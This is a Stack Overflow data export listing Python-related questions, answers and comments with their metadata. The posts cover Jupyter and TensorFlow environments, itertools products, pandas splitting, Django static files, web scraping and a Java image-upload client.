http://stackoverflow.com/q/47246711
possible better answer: http://stackoverflow.com/a/47247538
tagged with: linux
has answer: http://stackoverflow.com/a/47247538
has comment: http://stackoverflow.com/comment/81445497
has comment: http://stackoverflow.com/comment/81445273
tagged with: jupyter
tagged with: tensorflow
favorite count: 0
type: Question
score: 2
answer count: 2
has comment: http://stackoverflow.com/comment/81447231
upvote count: 2
has comment: http://stackoverflow.com/comment/81447309
accepted answer: http://stackoverflow.com/a/47248635
has comment: http://stackoverflow.com/comment/81445356
downvote count: 0
tagged with: python
has body: I am trying to run tensorflow on jupyter notebook. I installed jupyter outside of the tensorflow environment by doing sudo -H pip install jupyter and then I activated tensorflow environment via source ~/tensorflow/bin/activate Then, when I was inside the environment, I did pip install jupyter notebook After that, I run jupyter notebook, but when I tried to import tensorflow, I got the following error: ImportError: No module named tensorflow I checked if jupyter recognized the environment by running which jupyter and got /usr/local/bin/jupyter which means that it didn't recognize the environment. How can I force jupyter recognize the environment? (as I mentioned, I did install jupyter inside the environment as well) Edit: I just want to clarify that tensorflow is indeed installed correctly on my machine (for example, I can use it in pycharm, as well as when I just open python from the shell). Edit2: as a response to @hek2mgl comment, here is what I get: username@blabla:~$ source ~/tensorflow/bin/activate (tensorflow) username@blabla:~$ pip install jupyter (tensorflow) username@blabla:~$ which jupyter /usr/local/bin/jupyter (tensorflow) username@blabla:~$ hash -d hits command 1 /usr/bin/which 1 /home/local/bla/username/tensorflow/bin/pip (tensorflow) username@blabla:~$ which jupyter /usr/local/bin/jupyter
has comment: http://stackoverflow.com/comment/81446620
tagged with: ubuntu
has answer: http://stackoverflow.com/a/47248635
has title: jupyter notebook does not recognize tensorflow
has comment: http://stackoverflow.com/comment/81447355
type: AnsweredQuestion

http://stackoverflow.com/q/47357965
has body: I have a simple dictionary of the form D = {2: 4, 3: 2, 5: 1, 7: 1}. There are 4 keys which are the primes and 4 values which represent the maximum power. Based on that I want to generate all combinations of the form : p1^range1 * p2^range2 * p3^range3 * p4^range4 where range1 to range4 are the ranges corresponding to the values of the dictionary of each prime. For p1 = 2 the range will be range(0, 4+1) The most simplistic way would be a nested for loop with four levels : for i1 in range(0, 4+1): for i2 in range(0, 2+1): for i3 in range(0, 1+1): for i4 in range(0, 1+1): n = 2**i1 * 3**i2 * 5**i3 * 7**i4 which is what I intend and it is correct but this is a non-elegant and mechanical way. Another way is to use the itertools.product which works if all the ranges are the same. Basically it is as follows : for x in itertools.product(range(0, 4+1), repeat=4): print(x, end=' ') However this will generate all the possible combinations including (2, 2, 3, 4), (4, 4, 2, 3) or (2, 3, 4, 4) which are not valid in my case as the power of 5 (which is the third element in the tuple) will never be 3 and the power of 7 will never be 4. I want to limit somehow if possible the range of elements . So in this case the maximum tuple will be (4, 2, 1, 1) corresponding to the powers (values in dictionary D). So basically I need ONLY the range of tuples from (0,0,0,0) to (4,2,1,1). Is there a way to achieve this without using for loops and do it in a similar approach as with itertools.product? Many thanks in advance.
favorite count: 0
type: Question
has title: Multiple nested loops equivalent replacement in python
answer count: 2
has answer: http://stackoverflow.com/a/47359087
tagged with: python-itertools
has answer: http://stackoverflow.com/a/47358131
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
tagged with: product
has comment: http://stackoverflow.com/comment/81668529
score: 1
has comment: http://stackoverflow.com/comment/81668720
tagged with: nested
tagged with: loops

http://stackoverflow.com/q/47337009
tagged with: docutils
downvote count: 0
has title: rst2html on full python project
upvote count: 1
favorite count: 0
type: Question
has body: How can I configure rst2html to run on a full Python project instead of a single file? I'm used to epydoc generating my docs, but thinking to use reStructuredText because it's PyCharm default (I know we as well could change PyCharm to epytext)
has answer: http://stackoverflow.com/a/49943014
type: UnansweredQuestion
tagged with: python
tagged with: pycharm
score: 1
answer count: 1

http://stackoverflow.com/comment/81545127
type: Comment
has text: For example, a search results page like this: https://twitter.com/search?q=giraffe&src=typd. I was actually hoping that: browser.find_elements_by_css_selector("span._timestamp[data-time]") would work, but also just returns the text time rather than timestamp
type: AnswerComment
comment on: http://stackoverflow.com/a/47296729
score: 0

http://stackoverflow.com/q/47377274
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/47377292
accepted answer: http://stackoverflow.com/a/47377292
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81706605
downvote count: 0
answer count: 1
has body: I am reading the book "Tango with Django". I tried to access a jpg file via URL. I get this error: File "/home/studpro/.local/lib/python2.7/site-packages/django/contrib/staticfiles/finders.py", line 61, in __init__ prefix, root = root ValueError: need more than 1 value to unpack My settings.py looks like this: BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) TEMPLATE_DIR = os.path.join(BASE_DIR, 'templates') STATIC_DIR = os.path.join(BASE_DIR, 'static'), # Static files (CSS, JavaScript, Images) STATIC_URL = '/static/' STATICFILES_DIRS = [STATIC_DIR,] I am running Django 1.10.08 and Python 2.7. Anyone has a clue what could be the mistake?
favorite count: 0
type: Question
has title: Django Value Error
tagged with: django
has comment: http://stackoverflow.com/comment/81706631
tagged with: python

querying
tag name: querying
type: Tag
tags question: http://stackoverflow.com/q/47249589

http://stackoverflow.com/q/47273443
tagged with: pandas
has comment: http://stackoverflow.com/comment/81498411
has comment: http://stackoverflow.com/comment/81498244
score: 1
has comment: http://stackoverflow.com/comment/81498109
has body: Given the following dataset DF: uuid,eventTime,Op.progress,Op.progressPercentage, AnotherAttribute C0972765-8436-0000-0000-000000000000,2017-08-19T12:52:39,P,3.0,01:57:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:52:49,P,3.0,01:56:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:18,P,4.0,01:55:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:53:49,P,5.0,01:55:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:54:27,P,5.0,01:54:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:07,P,6.0,01:54:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:55:27,P,6.0,01:53:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:33:46,W,40.0,01:13:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:40:10,N,1.0,02:00:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:40:16,N,1.0,02:00:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:40:18,N,1.0,02:00:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:40:55,P,1.0,02:00:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:41:15,P,1.0,01:59:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:41:31,P,3.0,01:57:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:41:51,P,3.0,01:56:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:42:22,P,4.0,01:56:00 C0972765-8436-0000-0000-000000000000,2017-08-19T13:42:51,P,4.0,01:55:00 C0972765-8436-0000-0000-000000000000,2017-08-19T15:29:22,S,98.0,00:04:00 C0972765-8436-0000-0000-000000000000,2017-08-19T15:29:27,S,98.0,00:03:00 C0972765-8436-0000-0000-000000000000,2017-08-19T15:30:27,S,99.0,00:02:00 C0972765-8436-0000-0000-000000000000,2017-08-19T15:31:27,S,100.0,00:01:00 C0972765-8436-0000-0000-000000000000,2017-08-19T15:33:01,F,100.0,00:01:00 C0972765-8436-0000-0000-000000000000,2017-08-19T15:33:01,F,100.0,00:01:00 I would like to split into two: df1: uuid,eventTime,Op.progress,Op.progressPercentage, AnotherAttribute C0972765-8436-0000-0000-000000000000,2017-08-19T12:52:39,P,3.0,01:57:00 C0972765-8436-0000-0000-000000000000,2017-08-19T12:52:49,P,…
tagged with: dataframe
has answer: http://stackoverflow.com/a/47273541
accepted answer: http://stackoverflow.com/a/47273541
type: Question
answer count: 2
downvote count: 0
has title: Splitting a pandas Dataframe into separate groups
upvote count: 1
has answer: http://stackoverflow.com/a/47273668
linked to: http://stackoverflow.com/q/45329268
has comment: http://stackoverflow.com/comment/81498263
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/81498320
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47273668
has comment: http://stackoverflow.com/comment/81498293

http://stackoverflow.com/comment/81662039
has text: It's still unclear what you're trying to achieve. E.g. would you like to filter the lines in the file or rearrange them (e.g. sort)?
score: 1
comment on: http://stackoverflow.com/q/47354696
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47238907
has title: Python Beautiful Soup WebScraping: Return only new data?
tagged with: python
linked to: http://stackoverflow.com/q/11754478
downvote count: 0
upvote count: 1
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/47239377
answer count: 1
favorite count: 0
type: Question
tagged with: beautifulsoup
has body: I am new to the world of webscraping in Python but my ultimate skill I want to develop is to store scraped data into a database and have that data refreshed periodically. My question is: How would you save on data requests (time, bandwith usage), to only request the data that is new since you last ran a script? For example, my code returns the listings of cars on the website Autotrader: from bs4 import BeautifulSoup import requests #URL and headers so it thinks we are a browser url = "https://www.autotrader.co.uk/car-search?search-target=usedcars&amp;is-quick-search=true&amp;radius=&amp;onesearchad=used&amp;onesearchad=nearlynew&amp;onesearchad=new&amp;make=AC&amp;model=&amp;price-from=&amp;price-to=&amp;postcode=sw65bg" headers = {'User-Agent' : 'Mozilla/5.0'} #Request request = requests.get(url, headers) soup = BeautifulSoup(request.text, "html.parser") #Find the name box name_box = soup.find_all('h2', attrs={'class' : 'listing-title'}) #Print the name_box results to see them for listing in range(len(name_box)): temp = name_box[listing] value = temp.text print(value) Instead of using a database, I can store the output in a dataframe to help illustrate my question: data = pd.DataFrame(columns=['A']) #Print the name_box results to see them for listing in range(len(name_box)): temp = name_box[listing] value = temp.text data = data.append({'A' : value}, ignore_index=True) Which outputs: A 0 AC Cobra 6.3 2dr 1 AC Cobra 4.9 MK IV 2dr 2 AC Cobra 3.5 2dr 3 AC Cobra 3.5 2dr 4 AC Cobra 5.3 2dr 5 AC Cobra 5.7 6 AC Cobra 4736 Built By Gardner Douglas 4.7 2dr 7 AC Cobra 5.7 8 AC Cobra 5.7 2dr 9 AC Cobra 5.8 If a 10th AC Cobra appeared on the website, is there a way to just either show, or append that new entry so that I could identify new ones as they appeared?
tagged with: database

dataframe
tags question: http://stackoverflow.com/q/47298408
tags question: http://stackoverflow.com/q/47228645
tags question: http://stackoverflow.com/q/47380813
tags question: http://stackoverflow.com/q/47259620
tags question: http://stackoverflow.com/q/47302734
tags question: http://stackoverflow.com/q/47296180
tags question: http://stackoverflow.com/q/47249790
tags question: http://stackoverflow.com/q/47278940
tags question: http://stackoverflow.com/q/47227087
tags question: http://stackoverflow.com/q/47273443
tags question: http://stackoverflow.com/q/47344200
tags question: http://stackoverflow.com/q/47276177
tags question: http://stackoverflow.com/q/47274032
tags question: http://stackoverflow.com/q/47362600
tags question: http://stackoverflow.com/q/47231398
tags question: http://stackoverflow.com/q/47376077
tags question: http://stackoverflow.com/q/47359135
tags question: http://stackoverflow.com/q/47225123
tags question: http://stackoverflow.com/q/47233911
tags question: http://stackoverflow.com/q/47343077
tags question: http://stackoverflow.com/q/47280777
tags question: http://stackoverflow.com/q/47357646
tags question: http://stackoverflow.com/q/47357198
tags question: http://stackoverflow.com/q/47238649
tags question: http://stackoverflow.com/q/47257160
tags question: http://stackoverflow.com/q/47350014
tags question: http://stackoverflow.com/q/47381700
tags question: http://stackoverflow.com/q/47371086
tags question: http://stackoverflow.com/q/47310975
tags question: http://stackoverflow.com/q/47245372
tags question: http://stackoverflow.com/q/47309455
tags question: http://stackoverflow.com/q/47299464
tags question: http://stackoverflow.com/q/47325110
tags question: http://stackoverflow.com/q/47340616
tags question: http://stackoverflow.com/q/47371801
tags question: http://stackoverflow.com/q/47361424
tags question: http://stackoverflow.com/q/47368070
tags question: http://stackoverflow.com/q/47342185
tags question: http://stackoverflow.com/q/47362530
tags question: http://stackoverflow.com/q/47255885
tags question: http://stackoverflow.com/q/47229267
tags question: http://stackoverflow.com/q/47289757
tags question: http://stackoverflow.com/q/47300295
tags question: http://stackoverflow.com/q/47271882
tags question: http://stackoverflow.com/q/47372274
tags question: http://stackoverflow.com/q/47223627
tags question: http://stackoverflow.com/q/47334404
tags question: http://stackoverflow.com/q/47255609
tags question: http://stackoverflow.com/q/47244294
tags question: http://stackoverflow.com/q/47337195
tags question: http://stackoverflow.com/q/47292599
tags question: http://stackoverflow.com/q/47298051
tags question: http://stackoverflow.com/q/47239950
tags question: http://stackoverflow.com/q/47370012
tags question: http://stackoverflow.com/q/47326350
tags question: http://stackoverflow.com/q/47360110
tags question: http://stackoverflow.com/q/47376763
tags question: http://stackoverflow.com/q/47315716
tags question: http://stackoverflow.com/q/47312695
tags question: http://stackoverflow.com/q/47251621
tags question: http://stackoverflow.com/q/47305897
tags question: http://stackoverflow.com/q/47307659
tags question: http://stackoverflow.com/q/47227010
tags question: http://stackoverflow.com/q/47301581
tags question: http://stackoverflow.com/q/47293729
tags question: http://stackoverflow.com/q/47240859
tags question: http://stackoverflow.com/q/47382607
tags question: http://stackoverflow.com/q/47344577
tags question: http://stackoverflow.com/q/47297293
tags question: http://stackoverflow.com/q/47341034
tags question: http://stackoverflow.com/q/47324633
tags question: http://stackoverflow.com/q/47381865
tags question: http://stackoverflow.com/q/47284546
tags question: http://stackoverflow.com/q/47354979
tags question: http://stackoverflow.com/q/47237029
tags question: http://stackoverflow.com/q/47274094
tags question: http://stackoverflow.com/q/47226170
tags question: http://stackoverflow.com/q/47360510
tags question: http://stackoverflow.com/q/47252889
tags question: http://stackoverflow.com/q/47331270

http://stackoverflow.com/comment/81560479
type: Comment
has text: even better: `r'\b\d{7}\b'` (word boundary) which avoids to match bigger numbers.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47304986

http://stackoverflow.com/q/47297796
type: Question
upvote count: 0
answer count: 2
tagged with: for-loop
has title: Nested While and For loops not stopping in python
tagged with: python
downvote count: 1
has body: I am converting Markdown(.md) file into HTML using a Python 2.7 program. There is an instance, however, where a while loop is not exiting correctly and just looping through the same number over and over again. def link(line): link_list = [] link_string = '' count = 0 left_bracket = 0 right_bracket = 0 left_parenth = 0 right_parenth = 0 for char in line: link_list.append(char) while count &lt; (len(link_list)): if link_list[count] == "[": left_bracket = count for x in link_list[left_bracket+1:]: if x == "]": right_bracket = link_list.index(x) if x == "(": left_parenth = link_list.index(x) if x == ")": right_parenth = link_list.index(x) break a_list = link_list[left_bracket+1:right_bracket] str1 = ''.join(a_list) href_list = link_list[left_parenth+1:right_parenth] str2 = ''.join(href_list) link_string = link_string + '&lt;a href="' + str2 + '"&gt;' + str1 + '&lt;/a&gt;' count = right_parenth +1 if link_list[count] != "[": link_string = link_string + link_list[count] count += 1 print link_string link("lorem ipsum [inside bracket](URL LINK), [inside_bracket2](URL2)") In this function, it is converting Markdown link formats to HTML link formats. If you call the function with the argument below link("lorem ipsum [inside bracket](URL LINK") it gives you the correct output. However, when you put more than one markdown link in a string, then the while loops and for loops do not function properly.
favorite count: 0
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47297958
accepted answer: http://stackoverflow.com/a/47297958
tagged with: while-loop
has comment: http://stackoverflow.com/comment/81547170
score: -1
has answer: http://stackoverflow.com/a/47297933
possible better answer: http://stackoverflow.com/a/47297933

http://stackoverflow.com/comment/81625826
comment on: http://stackoverflow.com/a/47329736
has text: @darkless I just want to draw your attention to the fact that there is a safer version of `eval()` which also fits your requirements.
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/66990265
downvote count: 0
score: 1
upvote count: 1
has body: Your assumption is incorrect. The proper way to encode a space in a URL is with a +. Thus, the following should work Filter1=DateCreated+Is_after+2017-11-10+11:43:22
type: Answer
answers question: http://stackoverflow.com/q/47358204

http://stackoverflow.com/q/47250545
answer count: 2
has comment: http://stackoverflow.com/comment/81452106
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/75918022
has title: How do I edit code on PythonanyWhere console?
has comment: http://stackoverflow.com/comment/81451294
has body: I am brand new to Python, and tried downloading Python on my computer but had some issues because I have a very old Macbook that can only run OSX 10.6. I have been trying to use Python Anywhere, but I cant seem to edit the code I write in the console. For example, if I write a bunch of code and then run it and get an parentheses error, I have to re-enter all of that code onto the next command line and add the parentheses rather than just adding the parentheses to the code and re-running it. I can just copy and paste the bad code onto the new line, fix the error, and then re-run the code, but this gets tedious. Sorry if this is a dumb question, but I have used R a bit before and in R you can simply edit the code, then run it again, so I am wondering if there is a way to write Python code in this same manner.
score: 1
has comment: http://stackoverflow.com/comment/81451630
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47285025

http://stackoverflow.com/q/47355194
tagged with: image
tagged with: post
has answer: http://stackoverflow.com/a/52695741
downvote count: 0
score: 1
upvote count: 1
tagged with: java
has title: Java - Using HttpURLConnection to make POST request and send image to server
answer count: 1
has body: I'm working on a team software project that involves designing a client for a server-based AI called SeeFood. You can send it a picture, and it will tell you whether or not the picture has food in it. We currently have a python script deployed to the server that accepts Http POST requests and calls the AI with an image that it is given. You can access that at 34.236.92.140. The challenge I'm facing right now is getting my Java client to be able to send an image to the server, have it analyzed, and get a response back. I've been trying different things, including the Apache HttpComponents library, but I'm constantly getting this response code from the server when I run the code: 400 BAD REQUEST Server: Apache/2.4.27 (Amazon) PHP/5.6.30 mod_wsgi/3.5 Python/2.7.12 Connection: close Content-Length: 192 Date: Fri, 17 Nov 2017 16:11:28 GMT Content-Type: text/html; charset=UTF-8 Judging by research done on HTTP code 400, the server doesn't like how I've formatted the POST request. Does anyone have experience with HTTP servers and sending images via POST? Again, you can try out the server side application at 34.236.92.140. I'll also include the Java client and Python server code. Java Client (relevant code under the exportImages and readResultsToString methods): package javaapplication12; import java.io.*; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.nio.channels.Channels; import java.nio.channels.FileChannel; import java.nio.channels.WritableByteChannel; import java.util.*; import java.util.logging.Level; import java.util.logging.Logger; import javafx.application.*; import static javafx.application.Application.launch; import javafx.event.*; import javafx.geometry.*; import javafx.scene.*; import javafx.scene.control.*; import javafx.scene.layout.*; import javafx.stage.*; public class UserInterface extends Application { private List<File> _images; /** * @param args the command line arguments */ public static void…
tagged with: http
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/1378920
has comment: http://stackoverflow.com/comment/82526582
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81692189
type: QuestionComment
comment on: http://stackoverflow.com/q/47369732
score: 3
has text: It's just a shot in the dark, but my guess is that you need to add `self` to the arguments that the `add_edge` method takes.
type: Comment

http://stackoverflow.com/q/47311611
has body: The question is to modify the program below so that each successive click will draw an additional square on the screen. Here is the program to be modified. def main(): win = GraphWin() shape = Rectangle(Point(50,50), Point(70,70)) shape.setOutline("red") shape.setFill("red") shape.draw(win) for i in range(10): p = win.getMouse() c = shape.getCenter() dx = p.getX() - c.getX() dy = p.getY() - c.getY() shape.move(dx,dy) win.close() To solve this, I have employed the clone() function. Here is my solution: def main(): win = GraphWin() shape = Rectangle(Point(50,50), Point(70,70)) shape.setOutline("red") shape.setFill("red") shape.draw(win) for i in range(10): p = win.getMouse() c = shape.getCenter() dx = p.getX() - c.getX() dy = p.getY() - c.getY() pshaw = shape.clone() pshaw.move(dx, dy) win.close() However, the program does not work. Other solutions I have seen involve creating a new shape altogether as show below: Why can I not use clone()? def main(): win = GraphWin() shape = Rectangle(Point(75,75),Point(125,125)) shape.setOutline('Red') shape.setFill('Red') shape.draw(win) for i in range(5): p = win.getMouse() tx = p.getX()-25 ty = p.getY()-25 bx = p.getX()+25 by = p.getY()+25 shape2 = Rectangle(Point(tx,ty),Point(bx,by)) shape2.setOutline('Red') shape2.setFill('Red') shape2.draw(win) ct = Text(Point(100,180),'Click again to quit!') ct.setStyle('bold') ct.draw(win) win.getMouse() win.close() main() Why does clone() not work here? Is this not the purpose it was created for? The proposed solution with its creating of a new shape from scratch seems redundant to me. Any attempts to help are greatly appreciated and I would like to say thank you in advance :) My head is spinning- look forward to learning from the masters!
has title: Zelle Python Chapter 4 Q1: Why can't I use clone()?
tagged with: zelle-graphics
has answer: http://stackoverflow.com/a/47323995
score: 0
answer count: 1
type: Question
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/47253926
downvote count: 0
upvote count: 1
has body: I don't know how you are setting up your UI and how the user is supposed to interact with the images, but if your scene image and the accompanying target image is the same size you can use the accompanying image as a mask. Have the user click on the image (visual scene) and catch the position they choose. Then check the value of the accompanying target image at that position. If the value is 1 (or 0 depending on your choice of "active" value) you get a hit and move on. Basically, you can use your target images as ROI. edit: Here is a small example of how it could be done import matplotlib.pyplot as plt import numpy as np fig, ax = plt.subplots() ax.imshow(mask) mask = np.zeros((50,50)) mask[5:10,5:10]=1 xi = 0 yi = 0 def onclick(event): global xi,yi,mask xi,yi = event.xdata,event.ydata if mask[int(xi),int(yi)]&gt;=1: print('inside') else: print('outside') cid = fig.canvas.mpl_connect('button_press_event', onclick) The image shown doesn't have to be the mask image, but whatever scene you wish to show. For more on this check https://matplotlib.org/users/event_handling.html.
has comment: http://stackoverflow.com/comment/81490314
type: Answer
has comment: http://stackoverflow.com/comment/81620166
accepted answer of: http://stackoverflow.com/q/47253620
has comment: http://stackoverflow.com/comment/81486446
has comment: http://stackoverflow.com/comment/81622717
answers question: http://stackoverflow.com/q/47253620
score: 1
has comment: http://stackoverflow.com/comment/81619788
type: AcceptedAnswer

http://stackoverflow.com/comment/81452913
type: QuestionComment
comment on: http://stackoverflow.com/q/47250890
score: 0
type: Comment
has text: Extending a built-in type doesn't allow you to co-opt the existing literals. They are hard-coded to produce a specific class.

http://stackoverflow.com/q/47278379
has answer: http://stackoverflow.com/a/47278511
upvote count: 1
tagged with: dictionary
downvote count: 1
has title: map function is returning elements of u type
favorite count: 0
has body: I ran the following pyspark script to do word count: import re inputRDD=sc.textFile("concatfile") cleanRDD=inputRDD.map(lambda x:re.sub('[^0-9a-zA-Z ]+',"",x.upper())).flatMap(lambda x: x.split()).map(lambda x:(x,1)) reduceRDD=cleanRDD.reduceByKey(lambda x,y:x+y) reverseKVRDD=reduceRDD.map(lambda x:(x[1],x[0])) sortRDD=reverseKVRDD.sortByKey(ascending=False) When I dumped cleanRDD, I observed that the key-value pair is coming in the below format: [(u'THIS', 1), (u'IS', 1), (u'LINE', 1), (u'1', 1), (u'THIS', 1), (u'IS', 1), (u'LINE', 1), (u'2', 1), (u'THIS', 1), (u'IS', 1), (u'LINE', 1), (u'3', 1)] What is meant by this u'' type? Can I convert it to a normal string type?
type: AnsweredQuestion
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/47278511
has comment: http://stackoverflow.com/comment/81507735
score: 0
tagged with: pyspark
answer count: 1

http://stackoverflow.com/a/60013979
has body: This is probably what you are looking for... with open('file_to_read.csv', 'rU') as f: l1 = [] for ele in f: line = ele.split('\n') l1.append(line) print(l1)
answers question: http://stackoverflow.com/q/47297741
type: AcceptedAnswer
downvote count: 0
score: 3
upvote count: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/47297741

http://stackoverflow.com/q/47243507
answer count: 3
tagged with: pytest
has answer: http://stackoverflow.com/a/53856953
has body: Am working on a django reusable package that am planning to use with multiple project. I've used pytest to build test suite, I've used parametrized helped in pytest to run a single test with multiple configuration. Yet, I would like to run all my tests using different settings combinations available_backends = [ 'django_profile.auth_backends.drf.RestFramework', 'django_profile.auth_backends.kong.Kong', ] def pytest_generate_tests(metafunc): # if 'stringinput' in metafunc.fixturenames: if 'auth_backend' in metafunc.fixturenames: metafunc.parametrize( 'auth_backend', available_backends ) @pytest.fixture(params=['auth_backend', ]) def auth_backend(request, settings): settings.DJANGO_PROFILE_AUTH_BACKEND = request.auth_backend return settings I experimented with the above approach, but this also means I have to add auth_backend to each test case, I don't believe this is ideal. Any one can recommend a way for me to run all my tests using different setting combinations? Regards
downvote count: 0
tagged with: django
favorite count: 0
type: Question
type: UnansweredQuestion
has title: parameterize testing with django settings
has answer: http://stackoverflow.com/a/47247281
tagged with: python
score: 4
upvote count: 4
has answer: http://stackoverflow.com/a/47269284

http://stackoverflow.com/comment/81618708
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47333352
type: Comment
has text: Also when debugging you should leave the exception to raise, so you see the full stack error: except Exception, e: sc.api_call("chat.postMessage", username=nickname, channel=dump, text="The bot crashed", icon_emoji=avatar) syslog.syslog("error: {0}".format(e)) raise e

http://stackoverflow.com/comment/81550945
score: 0
comment on: http://stackoverflow.com/a/47299114
type: Comment
type: AnswerComment
has text: that was a typo! If you want with indentations, you can just write your string to file separated by `,` and I' edited the answer for the same

http://stackoverflow.com/a/47375850
has body: You have frameCheckBox.bind("&lt;Configure&gt;",self.resize(canvasScroll)) which means result = self.resize(canvasScroll) frameCheckBox.bind("&lt;Configure&gt;", result) so you didn't assign function but you executed resize and assigned its result. But resize returns None so finally you got frameCheckBox.bind("&lt;Configure&gt;", None) bind() (similar to command=) expects callback - it means function name without () and arguments - like this frameCheckBox.bind("&lt;Configure&gt;", self.resize) Because you want to send extra argument (and skip event send by bind as default) you have to use lambda frameCheckBox.bind("&lt;Configure&gt;", lambda event: self.resize(canvasScroll))
answers question: http://stackoverflow.com/q/47375395
accepted answer of: http://stackoverflow.com/q/47375395
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/q/47295430
type: Question
has title: Django 1.11 Image Gallery with Django Filer
has answer: http://stackoverflow.com/a/47318355
tagged with: django-filer
type: UnansweredQuestion
tagged with: django
tagged with: python
tagged with: image
upvote count: 2
score: 2
downvote count: 0
has body: Problem I need to display a gallery of images on a product page. This worked when we were at Django 1.6, but have since upgraded to Django 1.11 (Big Process). I am now stuck at how to get this to work within the new environment. Right now clicking Add Image brings up a pop up where I can select the image, and the regions associated with it (US, Canada, Spain, Etc..), but after clicking "Save" The popup title changes to Popup closing... and never closes - also the image is not added to the gallery. The image I upload itself IS added to the rest of the Images within filer, however it is not added to the ProductGallery Model. What I've Got Django: 1.11.7 Django-Filer: 1.2.7 Django-Suit: 0.2.25 Vanilla-Views: 1.0.4 I have Product models, these products have a many to many relationship to a ProductGallery model like so: class Product(models.Model): gallery = models.ManyToManyField('products.ProductGallery') The ProductGallery is supposed to house Images and Videos allowing for upload of either, and providing one list to iterate through on the front end for display purposes. The ProductGallery is defined as: class ProductGallery(models.Model): limit = models.Q(app_label='media', model='image') | models.Q(app_label='media', model='video') order = models.PositiveIntegerField(default=0) content_type = models.ForeignKey(ContentType, limit_choices_to=limit) object_id = models.PositiveIntegerField(db_index=True) content_object = generic.GenericForeignKey('content_type', 'object_id') class Meta: ordering = ('order',) def __str__(self): return six.text_type(self.content_object) where media.image is defined as: (I'll ignore video for the time being) class Image(CountryInfoModel, models.Model): image = FilerImageField(null=True, blank=True) def __str__(self): return str(self.image.name or self.image.original_filename) I've got a view for Adding new Media like so: class AddMedia(LoginRequiredMixin, StaffuserRequiredMixin, JsonRequestResponseMixin, GenericView): require_json = True d…
answer count: 1
favorite count: 0

http://stackoverflow.com/a/47293441
type: AcceptedAnswer
downvote count: 0
upvote count: 7
accepted answer of: http://stackoverflow.com/q/47293153
type: Answer
has body: It seems you need to enable compiler flags for OpenMP for the parallel statements to actually do anything. See cython docs here http://cython.readthedocs.io/en/latest/src/userguide/parallelism.html#compiling # setup.py # ... omitted ... ext_modules = [ Extension( "hello", ["hello.pyx"], extra_compile_args=['-fopenmp'], extra_link_args=['-fopenmp'], ) ]
answers question: http://stackoverflow.com/q/47293153
score: 7

http://stackoverflow.com/q/47249841
favorite count: 0
type: Question
has title: devstack -"Command "python setup.py egg_info" failed with error code 1 "
has comment: http://stackoverflow.com/comment/81449842
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has body: i install the devstack in centos7 which run on physical machine.i meet the question that "Command "python setup.py egg_info" failed with error code 1 ".The log is too long to post all.so i just post the keys. 2017-11-12 14:03:33.612 | Downloading pyperclip-1.5.27.zip 2017-11-12 14:03:33.909 | Complete output from command python setup.py egg_info: 2017-11-12 14:03:33.909 | No protocol specified 2017-11-12 14:03:33.909 | Traceback (most recent call last): 2017-11-12 14:03:33.909 | File "&lt;string&gt;", line 1, in &lt;module&gt; 2017-11-12 14:03:33.909 | File "/tmp/pip-build-a6kle5/pyperclip/setup.py", line 8, in &lt;module&gt; 2017-11-12 14:03:33.909 | version=__import__('pyperclip').__version__, 2017-11-12 14:03:33.909 | File "pyperclip/__init__.py", line 101, in &lt;module&gt; 2017-11-12 14:03:33.909 | copy, paste = determine_clipboard() 2017-11-12 14:03:33.909 | File "pyperclip/__init__.py", line 63, in determine_clipboard 2017-11-12 14:03:33.909 | import gtk # check if gtk is installed 2017-11-12 14:03:33.909 | File "/usr/lib64/python2.7/site-packages/gtk-2.0/gtk/__init__.py", line 64, in &lt;module&gt; 2017-11-12 14:03:33.909 | _init() 2017-11-12 14:03:33.909 | File "/usr/lib64/python2.7/site-packages/gtk-2.0/gtk/__init__.py", line 52, in _init 2017-11-12 14:03:33.909 | _gtk.init_check() 2017-11-12 14:03:33.909 | RuntimeError: could not open display 2017-11-12 14:03:33.909 | 2017-11-12 14:03:33.909 | ---------------------------------------- 2017-11-12 14:03:34.097 | Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-a6kle5/pyperclip/ 2017-11-12 14:03:34.297 | +inc/python:pip_install:1 exit_trap 2017-11-12 14:03:34.300 | +./stack.sh:exit_trap:493 local r=1 2017-11-12 14:03:34.302 | ++./stack.sh:exit_trap:494 jobs -p 2017-11-12 14:03:34.305 | +./stack.sh:exit_trap:494 jobs= 2017-11-12 14:03:34.307 | 